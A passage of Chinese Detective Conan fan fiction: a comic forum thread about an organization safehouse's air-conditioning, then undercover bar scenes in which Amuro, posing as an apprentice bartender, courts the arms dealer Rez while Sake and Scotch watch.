嗯?这倒是稀奇。 “怎么了?”他把手机靠在耳边。 “也没什么大事。”安室透的声音轻飘飘的,带着点笑意,“只是想告诉你,今天下午我不会回去吃饭了,之后几天也不会。” “听起来,你找到了更好的去处。”羽泽熙真揉了揉眼睛。 “嗯哼。”安室透发出一声愉快的鼻音,“我去POP应聘了学徒。” POP,雷兹常去的那家酒吧。安室透应该是喝了点酒,或者只是心情很好,不然也不会突发奇想的连在哪吃饭这种事都告诉他。 不过羽泽熙真原本以为他会以酒客的身份去和雷兹接触,怎么跑去做学徒了? 他耸了耸肩:“那就预祝波本先生成为调酒界冉冉升起的一颗新星了。” 坐在一旁的绿川光有些疑惑地看了过来,羽泽熙真朝他笑了笑,做口型:波本。 “那可能有点难度,”安室透在电话里笑道,“但如果你带着苏格兰过来,我倒是可以请你们喝一杯。” 这话是什么意思?羽泽熙真咂舌,只有他去就不行是吗?他一个人去不配喝那杯酒? “苏格兰不会去的。”他面无表情地说。 “你怎么知道……嗯?”安室透顿了一下,声音陡然提高了半度,“清酒,苏格兰在你旁边是吗?” 羽泽熙真没来得及开口,电话那头的人已经自顾自地往下推了。 “你接到了任务,所以应该会去找苏格兰讨论情况。你在据点?哪个据点?附近有三个……如果是琴酒……三号……” “你和苏格兰现在在三号据点?” 羽泽熙真:“……” 话都让你说了,我说什么? “不许过来。”他干巴巴地憋出一句。 “刚好离得不远,我一会儿就到。”安室透恍若未闻,声音轻快,“你们午饭想吃点什么?今天外面很热,我打包过去,这样你们就不用出门了。” “据点有吃的。” “炒面怎么样?” “太油腻。” “那……冷面吃吗?”安室透笑了声,“荞麦面,清清爽爽的,不油腻。” 羽泽熙真抬眼,看向脸上写着一点好奇的绿川光:“你吃荞麦面吗?” “吃的。”绿川光点头。 “我要热的,苏格兰要冷的。” “收到。”安室透笑道。 29.(双更番外)空调[番外] #奉上不负责的短打小番外一枚,与正文无关,感谢小天使们的支持! #发言人有部分是大家熟悉的人,部分只是不会出场的路人,欢迎猜猜看他们的身份~ #ooc了就当是路人>< 【主题:关于据点空调温度设置的调查】 发帖人:三层外套 如题。最近应该陆陆续续有在开空调了,你们常去的据点空调都开多少度?我这边有人永远调18度,我快冻死了。想看看是我太怕冷还是大家都觉得冷。 —— 2L|Paper 18度???那是冷库吧。 3L|团子 22度,很舒适。这才是人类该待的温度。 4L|老花镜 26度。年纪大了关节受不了,年轻人不懂这种痛,老了就知道了。 5L|靶场钉子户 如果是刚刚训练完的时候,18度刚刚好。再低两度也没问题。 6L|Freedom 18度是某个据点的习惯吧。我大概知道楼主说的是哪了。 7L|团子 楼上请你展开讲讲,但如果你不敢展开我也理解。 8L|Freedom 楼上激将法水平太差了吧。而且6楼已经消失了。 9L|只是路过 被吓跑了。正常。 10L|凤尾蝶 你们这群怂货。我直说了,三号据点那个空调,每次去都冻得直哆嗦。但没人敢调。 11L|团子 勇士啊。为你默哀。还在吗? 12L|凤尾蝶 还在。我只是说没人敢调,没说我要去调。 13L|Paper 求生欲极强。 14L|Curiosity_Killed 18度确实冷。去那里前建议多带一件外套,不要试图调温度了。 15L|Freedom 说真的,楼上是不是也常去那个据点?不然怎么是一副过来人的语气。 16L|Curiosity_Killed 不是。最近非必要条件下,我选择远程办公。 17L|靶场钉子户 哦?远程办公?有这种岗位? 18L|凤尾蝶 笑死了。远程办公的杀手是什么操作。 19L|只是路过 大概是打电话让目标自己死。 20L|Freedom 那很强了。 21L|废弃工厂 楼主呢?楼主对自己的调查结果满意了吗? 22L|三层外套(楼主) 我大概知道了。结论是带外套,别碰空调。谢谢各位,尤其是那位远程办公的朋友。 23L|团子 好有礼貌。楼主和那位远程办公的都很有礼貌。组织难得的温馨时刻。 24L|凤尾蝶 温馨个鬼。外面三十五度我在里面穿羽绒服,这叫温馨? 25L|Paper 所以你打算去调温度吗?造福一下大众。 26L|凤尾蝶 不去。我怕死不行吗。 27L|墨镜才是本体 明智。三号据点那个空调的温度可不是谁都能动的。你们猜之前是谁调的。 28L|Freedom ……我猜是一直穿风衣不觉得冷的那位,真想让他把外套脱了,看着都冒汗。 29L|墨镜才是本体 楼上,你号没了。 30L|Freedom 我号还在,说明他今天没看论坛。 31L|靶场钉子户 说真的,十八度挺舒服的。头脑清醒,思维敏捷,工作效率翻倍,戴帽子也不会觉得热。 32L|团子 你是冰箱成精吗?把帽子摘了再说话。 33L|狙击手的膝盖 有时候去三号据点能看到某位黑头发的同事缩在椅子上,穿得比我多两倍还在那儿打哆嗦。 说实话看着怪可怜的。 34L|Freedom 你说的是那个谁吗?金色眼睛,还带项链的那个? 35L|狙击手的膝盖 还能是谁。三十度的天敢在外面也这么穿的,整个霓虹也不多。 36L|靶场钉子户 上次他在据点冻得脸都白了,才被那位注意到。 37L|凤尾蝶 然后呢?调空调?问他要不要喝热水? 38L|靶场钉子户 然后继续抽烟。 39L|墨镜才是本体 这就是关怀。你们不懂。 40L|凤尾蝶 你再说一遍“关怀”? 41L|墨镜才是本体 关怀。C-A-R-E。Care。 42L|Paper 阴阳怪气。你号也没了。 43L|墨镜才是本体 为什么?我是认真的。 44L|观察日志已更新 关于你们刚才聊的那个人,我也有点好奇。不如我们换一个更安全的话题——你们觉得他像什么动物? 45L|Pandora 猫。 46L|Eternity 猫。 47L|四弦 猫吧。 48L|废弃工厂 这么统一的猫塑?你们是认真的?那个谁在任务现场可不是你们平时看到的那样。 49L|凤尾蝶 我说一个不一样的。我觉得像乌鸦。 50L|沉默是金 狐狸。 51L|Freedom 等等,你们用猫比喻他我没意见,但是能不能别都说得好像他只是个可爱的小动物?明明更像蛇。你们没见过他在审讯室里的样子吗? 52L|靶场钉子户 你见过? 53L|Freedom 见过一次。不描述了。 54L|团子 ……好吧。所以结论是猫蛇混合体? 55L|墨镜才是本体 不行,爬行类达咩。我觉得更像黑豹。平时懒洋洋地趴在石头上晒太阳,动起手来速度快得看不清,咬住就不松口。 56L|凤尾蝶 你观察得也太仔细了。 57L|墨镜才是本体 谢谢。 58L|观察日志已更新 那么就玄猫。 59L|靶场钉子户 哦?怎么说? 60L|观察日志已更新 有些地方黑猫也叫玄猫。黑毛金眸,辟邪镇宅。 61L|凤尾蝶 哈,他镇的什么宅?据点的空调温度吗? 62L|观察日志已更新 我没有那么说。我只是说,他像玄猫。 63L|Freedom ……我只有一个想法。你们平时到底是有多闲,才能对着一个同事分析出猫、蛇、狐狸、黑豹、乌鸦五种动物形象。 建议行动组下个月任务指标翻倍。 64L|凤尾蝶 你是情报组的吧。 65L|Freedom 我不是。 66L|凤尾蝶 你最好不是。 67L|Curiosity_Killed …… 68L|三层外套(楼主) 等一下。等一下等一下等一下——三号据点的空调刚才突然被调到了22度。某人良心发现了? 69L|团子 有没有可能是因为某人看了这个帖子。 70L|狙击手的膝盖 我靠。 71L|凤尾蝶 我靠。 72L|墨镜才是本体 我靠。 ——该帖已被管理员锁定—— 30.雷兹(2)调酒 深夜十一点,POP酒吧。 安室透把洗好的酒杯码进吧台下面的柜子里,直起腰,顺手抹了一把额头上并不存在的汗。 今天是他在POP当学徒的第五天。五天前,他走进这家酒吧,用一套精心准备的假履历和一个恰到好处的微笑换来了这份工作;五天后,他已经和雷兹接触了两次,第一次只是混了个眼熟,第二次他给雷兹倒上了一杯波本威士忌。 今晚大概会是第三次,是时候进入正题了。 酒吧内部很宽阔,暖黄色的灯光和舒缓的音乐令人不由自主地放松。 客人不多。靠窗的卡座里坐了三五个人,有男有女,正凑在一起低声交谈。离他们不远处,一个中年男人靠在椅背上闭目养神,面前只放了一杯水,但他刚刚已经喝了几杯鸡尾酒了。 吧台前也散落着几个身影。最靠里的位置是一个穿着西装的中年男人,面前放着一杯琥珀色的威士忌。他旁边是一对年轻男女,靠得很近,头挨着头,不知道在说什么悄悄话。再旁边是一个独自喝酒的女人,手里夹着一根细长的烟。 “安室。”店里年长的调酒师叫他,“把上次快用完的那瓶白兰地找出来。” “好的,松本老师。” 安室透应了一声,转过身,面朝酒柜。 于是羽泽熙真带着绿川光走进店里时,一眼就看到了那个身影——金发的,深色皮肤的,穿着一件白衬衫,正背对着他们看着酒柜沉思的年轻人。 他正是羽泽熙真连续几天夜不归宿的好室友,安室透。 羽泽熙真走到吧台前,找了个视野好的地方坐下。绿川光坐在了他旁边。 “两位吗?” 调酒师笑着迎上来。他的嘴边留着两缕小胡子,说起话来一动一动的。 “想喝点什么?”他递上酒水单,“或者也可以告诉我偏好的口味,我来推荐几款。” “我们先看看。”羽泽熙真接过酒单,温声说。 调酒师点点头,转身去忙其他事了。他走到那个独自喝酒的女人面前,弯腰问了一句什么,女人摇了摇头。 酒单上多是些基础款,金汤力,威士忌酸,莫吉托,没用太多花里胡哨的名字,旁边标注了详细的价位和原料。 羽泽熙真翻过一页,一抬头,看见安室透正站在柜台后,笑眯眯地盯着他们看。 “你来了。”安室透轻声说。 羽泽熙真看着他,眨了眨眼,随后也轻轻弯起嘴角。 “这位先生。”他慢慢说道,“您大概是认错人了吧。我们好像是第一次见面。” “不过,我很乐意和您交个朋友。” 安室透微微一愣。 他快速地上下打量过羽泽熙真。依旧是黑色长袖长裤的搭配,脖颈上的黑绳隐约可见,和平时没什么区别。 羽泽熙真在出行时爱戴帽子,今天没戴——只是这并不能直接证明什么,有时他确实也会偷懒不戴。 最明显的区别在于,他说话的方式不太一样,咬字更清晰,语速也很慢,是很温吞的感觉。似乎隐隐还带着一丝傲气,并不明显,他自己可能都没意识到。 ……这算哪门子的认错人? 那双金色的眼睛他每天都能看到,坐在这里的明明就是清酒本人。他在玩什么把戏? 这些思绪仅是仅仅一瞬的事。 就在安室透还在暗自猜测时,羽泽熙真轻轻抬起了左手,用右手把袖口往上挽了半寸。 安室透目光立刻落向了他手腕上的手表。 不是他常带的表。他平时戴的那块是黑色的,这块是银色的,而且很贵。 非常贵,如果把它拿去卖了,可以在市中心买三套不错的公寓,还能剩点零头买家具。 嘶……所以今天他的身份是…… 羽泽熙真笑了笑,从口袋里掏出一张名片递向安室透。 “我的名字是三田涉,请多指教。” “……您客气了。” 安室透双手接过名片,低头看了一眼。是他之前在客厅的笔记本里见过的那个名字,三田涉。 联系方式也不是羽泽熙真本人的。 他放下名片,从吧台后面走出来,绕到羽泽熙真旁边,微微欠身。 “您好,三田先生。”他直起腰,伸出手,“我是店里的学徒,名字叫安室透,请多指教。” 羽泽熙真和他握了握手。 “安室先生的朋友,和我长得很像吗?” “发型很像。”安室透笑笑,“只是他前段时间答应我说,要过来给我捧场,我才会一直想着他的事。不好意思。” “没关系。这也是一种缘分呢。” “这位是……”安室透看着绿川光。今天的苏格兰格外安静,坐得很端正,该不会也有其他什么身份吧。 “我的朋友。”羽泽熙真说,“姓绿川。他不太爱说话。” 安室透点了点头,又走过去和绿川光握了个手。 还好,在羽泽熙真威胁的目光下,他收回了本想夸一句“三田先生的朋友长得真好看”的念头。 “安室先生是这里的学徒?”羽泽熙真拿起酒单,随意地翻了翻,“学了多久了?” “啊,我刚来几天。” 安室透说着,走回了柜台后。 那位年长的调酒师刚刚在招呼他,让他过去帮忙,然后自己走了过来,在羽泽熙真和绿川光面前各放了一杯冰水。 “两位,尝尝我们最近新上的薄荷柠檬水。”调酒师声音沉稳,“我姓松本。安室君是新来的,有什么招呼不周的地方,还请多包涵。” “不会。我还挺喜欢安室君的。” 羽泽熙真端起冰水抿了一口,淡淡的柠檬和薄荷味在口腔中弥漫开来,很清爽。 这位松本先生怕是看到了安室透随手留在吧台上的名片,担心他得罪人过来救场的。 嗯……似乎被当成了难缠的客人呢。 都坐在这儿半天了,总不能不喝酒。 羽泽熙真点了一杯莫吉托,替换掉手里的冰水,顺便给他不喝酒的保镖绿川光点了个果盘吃。 调酒师手艺不错,莫吉托颜色漂亮,也很好入口。 果盘是安室透切好端上来的,他还多送了一小盘坚果和饼干,过了两分钟,他又给绿川光端了杯果汁。 真大方。 “三田先生是做酒水生意的吗?”松本在闲暇时走过来,和羽泽熙真闲聊,“您这么年轻就当上社长了。” “是的。”羽泽熙真点点头,“进口酒类,主要是欧洲那边的。” “喔。那您是行家啊。” “算不上。家族产业,混口饭吃而已。” 莫吉托喝完了,羽泽熙真放下杯子,低头瞥了眼手表。 现在是十一点四十分,雷兹没有来。不知道还要等多久,也许他今天不会来,但羽泽熙真需要一直守到他来为止。 今天不行就明天,明天不行就后天。 “那位安室君,”羽泽熙真朝安室透的方向扬了扬下巴,“他会调酒吗?” 松本顺着他示意的方向看了一眼,笑了,嘴边那两缕小胡子翘了起来。 “他还在学,算是会一点吧。” “那么,让他帮我调一杯,怎么样?” 松本愣了一下。让新手给这位一看口味就很刁钻的客人调酒,这会不会…… “放心,不好喝的话,我也会付钱的。”羽泽熙真笑着补了一句。 松本犹豫片刻,最后点了点头。 “行。” 他朝安室透招手:“安室,过来。” 安室 透闻声回头,随后放下手里刚刚用来擦桌子的毛巾,走过来。 “怎么了,松本老师?” “这位客人想让你调一杯。”松本拍了拍他的肩膀,让出位置,“你问问他想喝什么。” “好的。” 安室透走到羽泽熙真面前,双手撑在吧台上,身体微微前倾,露出了一个真诚的微笑。 “您想喝什么,三田先生?” 那个笑容让羽泽熙真莫名有点不祥的预感。 不是说酒里可能有什么危险,而是安室透似乎隐隐有些兴奋,那种迫不及待的想展示什么的感觉…… “……清爽一点的吧。”羽泽熙真想了想,“你会什么就做什么,都可以。” “那就,马天尼?”安室透歪了歪头。 “可以。” 安室透取了调酒杯,量好金酒和味美思倒进去,加入冰块,神情专注地用吧匙搅拌了几下。冰块与杯壁碰撞,发出叮叮当当的声响。 很快,调好的酒被滤进冰过的鸡尾酒杯里。 安室透从一个小罐子里夹了颗橄榄,放进杯子里,随后把酒杯推到羽泽熙真面前。 “请用。” 透明的浅黄色酒液在杯中微微摇晃。羽泽熙真把酒杯端起来,凑到鼻尖闻了闻。 味道清香扑鼻,没什么异常。 他小心翼翼地喝下一口。 当极度刺激的酒液接触到舌尖,羽泽熙真的身体瞬间绷紧了。 “……” 他沉默地放下了酒杯。 “怎么样?”安室透的表情看上去有些期待。 “……嗯。”羽泽熙真从喉咙里发出一个含混的音节,然后清了清嗓子,“对于一个新手来说,其实挺不错的。” “真的?” “真的。” 真的难喝。羽泽熙真在心里把那句没说出口的话补完了。马天尼这种酒,说起来简单,做起来难。酒液的比例,搅拌的时间,温度的控制,每一个细节都会影响最终的味道。 安室透用的比例不对,搅拌的时间又太长,最后就呈现出了糟糕的效果。苦得要命。 这杯马天尼喝起来的感觉,大概就像是琴酒和贝尔摩德两个人在打架,然后无辜的羽泽熙真在路过现场时被不知道谁挥过来的一拳正中面门。 话说回来,其实安室透真的挺有天赋的。羽泽熙真端着那杯酒,无比真诚地想。 如果让一个正常人复刻刚刚的调酒流程,成品可能都不会有这么诡异、这么可怕。 它是独一无二的,并且不该存在于这个世界上。 但让安室透调酒是羽泽熙真自己的选择。 为了不伤害到这颗未来可能会扬名立万的调酒界杀手的自尊心,他闭上眼睛,心一横,端起酒杯,把剩下的酒液一口闷了下去。 连那颗橄榄也嚼了,一干二净。 他放下杯子,睁开眼。 安室透看着他泛红的眼角,表情从期待变成了疑惑。 “三田先生……您没事吧?” “没事。”羽泽熙真说,“我挺好的。” 这杯酒让他想起了很多往事,从幼年到成年,从过去到现在。比如小时候在训练营的冬天,所有人穿着单衣在操场上晨跑,呼出一团团的白气。比如有一次在任务中被抓住,对方把他关在地下室里打了个半死。 通俗一点来讲,就是说,他走马灯了。 他从绿川光的果盘里捞了块西瓜送进嘴里,嚼了嚼,又捞了一块。 “安室。”松本的声音从旁边传来,“三田先生是专业的,你的酒他喝了说不错,那就是真的不错。” 安室透转过头看了松本一眼,又转回来看着羽泽熙真。 “谢谢。”他说。 “不客气。”羽泽熙真说。 31.雷兹(3)保镖 被琴酒和贝尔摩德联合殴打了一番后,羽泽熙真暂时不想再碰鸡尾酒了。 但安室透刚刚用的金酒味道还不错,他干脆要了一杯,摆在面前慢慢喝。没有其他添加物的金酒喝起来像香水,杜松子的香气浓烈而直接,喝不惯的人会觉得太冲,但他倒是不讨厌。 至少比那杯马天尼好多了。 隔壁的绿川光似乎快吃撑了。在他安安静静地解决掉第一份果盘之后,安室透又端上来一盘新的,没要钱,还附带了一杯颜色深紫的果汁,看起来像是鲜榨的葡萄汁。 “这杯是送的。”安室透把果汁放在绿川光面前,笑得人畜无害。 绿川光低头看了看那杯果汁,又抬头看了看安室透。 他没有说话,但羽泽熙真从他的眼神里读出了他的意思:我真的喝不下了。 但他还是拿起了杯子,小口小口地喝了起来。苏格兰就是这样的人,他不太会拒绝别人,尤其是别人的善意。安室透大概也知道这一点,所以才敢这么肆无忌惮地投喂。 金酒的量并不多,几口就没了。 羽泽熙真把杯底最后一点酒液喝掉,刚放下杯子,安室透就拎着酒瓶过来了。 酒瓶倾斜,透明的金酒从瓶口流出来,稳稳地落进杯子里。 “……?” 看着面前又变得满满当当的杯子,羽泽熙真微笑地抬头和安室透对视。 他好像也没说要继续喝吧。 “这杯算我请您的。”安室透把酒瓶抱在胸前,紫灰色的眼睛弯起来,“感谢您欣赏我的酒。” “谢谢。安室先生太客气了。” 又送果盘又送酒,全拿工资付的话,不知道一天下来安室透这个月还能领几个硬币。 虽说大概率不是他来付,松本在吧台另一头频频侧目,嘴边的小胡子欲言又止。慷他人之慨这种事,波本做起来向来面不改色。 时间慢慢过去,酒喝了几杯,果汁也喝了几杯。 卡座里的客人走了两桌,又来了一桌。 吧台上那对靠得很近的年轻男女走了,独自喝酒的女人也走了。穿西装的中年男人还在,低着头看手机,他续了一杯酒,从始至终没有和任何人说过话。 松本从卡座那边收完空杯子走回来,看到羽泽熙真面前依旧满满的酒杯,瞪了安室透一眼,意思是“你不是在故意灌人家吧”。因为羽泽熙真这会儿已经不知道喝了几杯了,安室透好像见不得他杯子空下来似的,不时就过来问问他喝什么。 安室透耸了耸肩,摊开手,表示“他自己要喝的”,表情无辜。 松本摇了摇头,倒了一小杯威士忌,放在羽泽熙真面前。 “这杯我请。” 羽泽熙真道了谢,拿起杯子抿了一口。 味道有些复杂,他不太喜欢,又放下了。 “三田先生做酒水生意,”松本站在他旁边,把毛巾搭在肩上,“那一定认识不少调酒师吧?” “认识一些。”羽泽熙真点点头,“但大多数都是在应酬场合认识的,聊的都是生意,没什么意思。” 三田涉这个身份是他花了时间经营的,三田酒业这家公司也不是空壳,虽然他不常亲自打理,但偶尔也会在行业活动上露个脸,维持一下存在感。 “那安室呢?”松本笑道,“他是不是也没什么意思?” 羽泽熙真瞥了一眼安室透。安室透正低着头洗杯子,金色的头发垂在额前,挡住了他的眼睛。他的嘴角微微翘着,似乎在笑。 “安室君……很有意思。”羽泽熙真收回目光,“他很特别。” “哦?特别在哪里?” “特别在——” 酒吧的门被推开了。 一个男人走进来。棕色的头发,四十多岁的样子,他穿着一件深色的夹克,敞着怀,袖子卷到了手肘之上,露出结实的肌肉。 松本立刻站直了身体,朝羽泽熙真露出一个歉意的微笑,转身往门口走了几步,迎上去。 “晚上好,雷兹先生。今晚想喝点什么?” “波本。”雷兹说。 他径直走到吧台正中的位置坐下,脱下外套,随手系在腰间。 安室透已经倒好了一杯波本威士忌,端着杯子走过去,轻轻放在雷兹面前。 “晚上好。”他笑着说,“您今天来得比平时早些。” “嗯。” 雷兹捞起酒杯,仰头几口吞掉酒液。他抽了张旁边的纸巾擦嘴,然后把纸巾揉成一团扔在一边。 “事情办完,就早点过来了。再来一杯。” “这样啊。” 安室透走回吧台后,拿起酒瓶,又给他倒了第二杯。 “您最近生意怎么样?” “还行。”雷兹嗤了一声,“就是有点烦。” “哦?还有什么东西能让雷兹先生烦恼?” 雷兹拿起杯子,喝了一口,这次酒液在他嘴里停留了一会儿。 他放下杯子。 “有个客户,不太安分。” 安室透歪了歪头。 “不安分?怎么说?” 雷兹没有回答,他微微垂眸,把玩着桌上的威士忌酒杯。杯壁上凝出了些许水珠,他用手指把它们抹开,又把手上的水擦在纸上。 “喂,你。”他抬眼直直地盯着安室透,“你是姓安室对吧。” “是的。安室透。” “我记得——你是最近新来的。”雷兹说,“来这里之前,你是做什么的?” “嗯……到处打零工吧,服务行业比较多。”安室透的声音很轻松,“便利店,餐厅,居酒屋。什么都做过。” “服务行业。” 雷兹重复着,意味不明地笑了一声。 “那你一定很会伺候人。” 这话里的贬损意味已经不怎么掩饰了,但安室透没听懂似的,面不改色。 “还好,我已经习惯了。”他说。 雷兹的手指在杯壁上轻轻敲了敲。 “好。那我倒是要请教一下你了。”他松开酒杯,往后靠了靠,双手交叉抱在胸前,“如果,有个客人和你谈好了价格,看了样品,然后开始找你麻烦。不是说货有问题,就是说价格太高了——总之就是想找茬。” “你会怎么办?” “……” 安室透垂眸,打开水龙头,冲了冲手里其实已经洗得很干净的杯子。 原来是这样……有人想吃差价,最后没谈拢啊。 当两边都觉得对面有问题的时候,最好看看站在最中间的那个人是不是真的一清二白。 莫吉托想把中间那部分利润装进自己的口袋,所以想方设法的讲价。雷兹被他翻 来覆去的改价惹烦了,一怒之下扣了人。 莫吉托慌了。他没想到雷兹会这么狠,怕事情捅到上面去自己吃不了兜着走,只能硬着头皮往上汇报,把整件事说成是雷兹主动扣人、无故挑衅。于是这个被精心包装过的烂摊子就顺理成章地落到了行动组头上。 羽泽熙真端着酒杯,小口喝着,目光没什么焦距。 他喝了不少酒,觉得自己应该有些醉了。 雷兹知道安室透是谁吗?他大概猜到了。从一个东南亚的小军火商做到现在规模的他,靠的当然不只是运气,还有脑子。 他知道安室透是组织的人,也知道他来这个酒吧是为了处心积虑地接近他。但他没有拆穿,因为他需要安室透。或者他觉得自己可以利用安室透。 “我觉得……”安室透关掉水龙头,微笑着开口,“交易成立的前提是你情我愿,现在的客人不满意,那就换一个会满意的客人——说不定他更爽快,需要的货物也更多呢?” “好啊。”雷兹似笑非笑,“那如果你已经收了定金呢?” “买方毁约,自然不退定金。” 安室透说着,取了一个香槟杯,又从冰柜里取了几块冰丢进去。 他倒了满满一杯橙汁,端去放在绿川光面前,随后带着被绿川光喝空的芭乐汁杯走回来。 “不过如果是我的话,可能会考虑把定金投入到下一次交易中。”他继续说道,“不管是补贴价格,还是给下一位真诚的客户添补一些福利,都是皆大欢喜的结局,不是吗?” “也是。”雷兹倒真的点了点头。 交谈暂时告一段落。 雷兹低下头从口袋里找了找,翻出一根雪茄,剪掉顶部,用打火机点上。 看来雷兹在考虑波本的提议了。羽泽熙真把空杯放在桌上,轻轻笑了一下。 他伸手拍拍被灌了三大杯果汁的绿川光的肩膀。对方正端着那杯新来的橙汁发呆,被拍了之后转过头来,眼神迷茫,显然已经喝到了需要缓缓的地步。 “去卫生间吗?”羽泽熙真问。 “……去。” 绿川光郑重地把橙汁放下。 两个人从高脚凳上下来,往卫生间的方向走。路过吧台尽头的时候,羽泽熙真感觉到有一道目光正落在他的背上。他没有回头。他知道那是谁。 雷兹看着两个年轻人的背影消失在卫生间的拐角处,把雪茄从嘴边拿下来,弹了弹烟灰。 “那个人是谁?” 安室透顺着他的目光看过去:“客人。第一次来。” “做什么的?” “酒水商。好像是做进口酒类的。” 雷兹收回视线,拿起酒杯喝了一口。 “看起来不像普通人。” “是吗?”安室透笑了笑,“我觉得挺普通的。” 雷兹半信半疑地看了他一眼,嘴角微微动了一下。 “你眼神不太行。” “也许吧。”安室透耸耸肩,“我就是个学徒,看人这种事,还得跟您学。” 雷兹嗤了一声,把雪茄叼回嘴里,朝空无一人的走廊方向抬了抬下巴。 “那个黑头发的,旁边那个——下巴上有胡茬的。那是他的保镖。” “保镖?我还以为是他的朋友。” 雷兹摇了摇头,没再说什么。 32.雷兹(4)即兴 水声哗哗作响。 羽泽熙真站在洗手台前,弯着腰,双手接了一捧冷水泼在脸上。 些许的凉意压下了酒精带来的轻微兴奋感。 他直起腰,睁开眼睛。 镜子里映出一张湿漉漉的脸,金色的眼睛冷静而淡漠。 “清酒,你还好吗?”绿川光也在洗手,他有些担心地低声开口,“你已经喝了很多了。” “没事。要喝醉还早呢。” 羽泽熙真关掉水龙头,水声戛然而止。 安室透憋着坏给他灌酒,他怎么可能看不出来。那家伙大概是想试试他的酒量,或者想看他喝多了之后会不会说点什么平时不会说的话。 兴趣全写在脸上了。 绿川光点点头,羽泽熙真的酒量他是清楚的,几杯金酒对他来说可能只算热个身。 “波本那边是谈得差不多了吧”他说,“我们什么时候走?” 他真喝不下了,胃里全是果汁。 苏格兰不是一个会轻易表露不适的人。他能在狙击位上趴六个小时一动不动,能连续三天只吃压缩饼干和矿泉水——但今晚这种被大量水果和液体持续轰炸的体验,在他的职业生涯中确实是头一次。 “应该还会有一小段,等雷兹确定……” 羽泽熙真说到一半忽然停住了,他听到了门外靠近的脚步声。 声音停在门口,卫生间的门被轻轻推开,一个金色的脑袋探了进来。 “三田先生,您没事吧?” “我看起来像是有事的样子吗?”羽泽熙真无奈,“要进来就快点。” “喔。” 安室透侧身挤进卫生间,顺手带上门。 “是松本老师以让我过来找你的。你刚才喝了那么多酒,又半天没回来,他很担心你是不是吐在卫生间里了。” “我很好。”羽泽熙真一手撑在洗手台边上。 “那就好。”安室透笑了一声,“没想到您的酒量那么惊人,待会儿再多喝几杯吧?” 羽泽熙真看着他,差点被气笑。 还要喝?怎么,今天他非得横着从POP的大门里出去是吗? 说不定安室透是想给“清酒观察日志”新开一个章节,标题就叫“清酒的酒精代谢能力实验”? 实验方法:在酒吧里持续灌酒,观察样本的生理反应和行为变化,直到样本失去意识或拒绝继续饮用为止。 “我喝可以。”羽泽熙真扯了张纸巾,擦了擦手上的水,“但是你能不能不要再折磨绿川了——你看不出来他快被你撑死了吗?” “我……” 站在一旁的绿川光动了动嘴唇。他下意识想说一句“我没事”,但想了想,最后还是没说出来。 因为他确实有事,他现在打嗝都是葡萄味的。 安室透愣了愣,盯着绿川光打量了片刻,似乎终于后知后觉地意识到自己做了什么。 他偏过头,摸了摸自己的后颈,露出了一个有点不好意思的笑。 “好的,好的。我知道了。”他满是歉意地说,然后看向绿川光,“抱歉,苏格兰先生。刚才是我没控制好自己。” 绿川光摇了摇头:“没关系。果汁很好喝。” 羽泽熙真看着安室透那个表情,感觉自己鸡皮疙瘩都要冒出来了。 表面上看的确真心实意,但想到安室透偶尔钢板似的脸皮,他又觉得这家伙是装的。 他抬腕看了眼手表,现在刚过一点,他们在洗手间待了有十分钟了。 “对了”安室透清了清嗓子,“刚刚和雷兹聊的那些,你们应该也听到了。接下来我该怎么和他聊?如果按组织之前给的方案——” “按你的想法来就行。”羽泽熙真说。 “嗯……这么信任我?” “不然呢?” “谢谢清酒大人赏识。”安室透弯起眼睛,“我的想法是,引导他觉得我是组织另一派系的人——不是莫吉托那一派的。让他觉得我和莫吉托之间有某种竞争关系,这样他想踢开莫吉托的时候,就会把我当成第一个可选的合作对象。但我需要确认一下,这个方向可以执行吗?” “可以。” 羽泽熙真把擦完手的纸巾扔进了垃圾桶。 “好的。”安室透点点头。 他正要转身出去,又想起什么似的,扭过头。 “你们待会儿怎么回去?” “我开车送他。”绿川光走过来,“我没喝酒。” “太好了。”安室透的眼睛亮了一下,“那——能不能带我一个?我刚刚也喝了酒,松本老师让我尝新品。” 羽泽熙真:“……我没记错的话,你三点才下班。” “对啊。”安室透笑得理直气壮,“就两个小时了嘛。拜托拜托。” 羽泽熙真啧了一声,扭头和绿川光交换了一个眼神。 绿川光点了点头。 “好吧。”羽泽熙真转过头,“我们会提前半个小时离开,在车上等你,晚一分钟你就自己走回去。” “了解。” 三人回到了吧台区。 一直沉默的中年男人离开了。雷兹的身旁烟雾缭绕,手里的雪茄燃掉了一半。松本在整理酒柜,看到羽泽熙真回来,松了口气。 安室透拿着酒单走过去,问雷兹要不要喝点别的,他们店里的莫吉托也很受欢迎。雷兹想了想说不用,依旧续了一杯波本威士忌。 “你刚刚说,这个客户不行,那就换一个。”雷兹看着安室透给他倒酒,“换一个会满意的客人——说不定他更爽快,需要的货也多,是不是?安室?” “是啊。”安室透轻声应和,“这样的客人,肯定有。” “那就卖给你,怎么样?你要吗?” 安室透闻言抬起头,歪了歪脑袋,表情困惑。 “我?”他指着自己,自嘲笑道,“呃……我如果有钱的话,肯定很乐意和您交易。但我就是个打工的,雷兹先生,这您也看得出来。” “你都不问问,”雷兹把雪茄从嘴上取下来,“我卖的是什么。” “我猜得到的。” 安室透说着直起腰,自得地竖起右手的食指和拇指,比了个对勾的手势,在半空中晃了晃。 “那一定是很贵的东西,对不对?” 雷兹愣了一下,随即大笑起来,笑得手都在抖。卡座里两个交谈的男女被他吓了一跳,对着果汁走神的绿川光也被惊得抬眼。 笑够了,雷兹便从口袋里摸索出一把钞票,也没看是多少,全塞给安室透了。 安室透笑眯眯地收进口袋:“谢谢雷兹先生。” 羽泽熙真在不远处看着这一幕,左手撑着下巴,右手举着刚刚添满的金酒杯,凑过去和绿川光放在桌上的半杯橙汁碰了个杯。 “叮”。 绿川光转过头,有点无奈地看他一眼。 他也拿起了杯子,但喝了一小口便放下了。 羽泽熙真刚把喝空的杯子放在桌上,安室透心领神会地拎着酒瓶就过来了。 “……等一下。”羽泽熙真伸手挡住微微倾斜的酒瓶,“先不喝这个 了。” 安室透把手腕往回一翻,瓶口抬起来,没有一滴酒洒在羽泽熙真的手上或吧台上。 “三田先生是想喝点别的?” “嗯。麻烦安室君帮我调一杯甜的吧,什么都可以。” 甜的酒想做得难喝也不容易,对吧? “当然没问题,稍等。” 安室透把金酒瓶子放回柜台上,转身走向酒柜。 他捏着下巴,看着琳琅满目的平时沉思了片刻,随后若有所思地点了点头,开始在吧台后面走来走去。 冰块,酒,气泡水,糖浆。 全部加进调酒壶,猛摇二十秒后,安室透端上来一杯不明液体,轻轻放在羽泽熙真面前。 “请用,三田先生。” 羽泽熙真不敢喝。 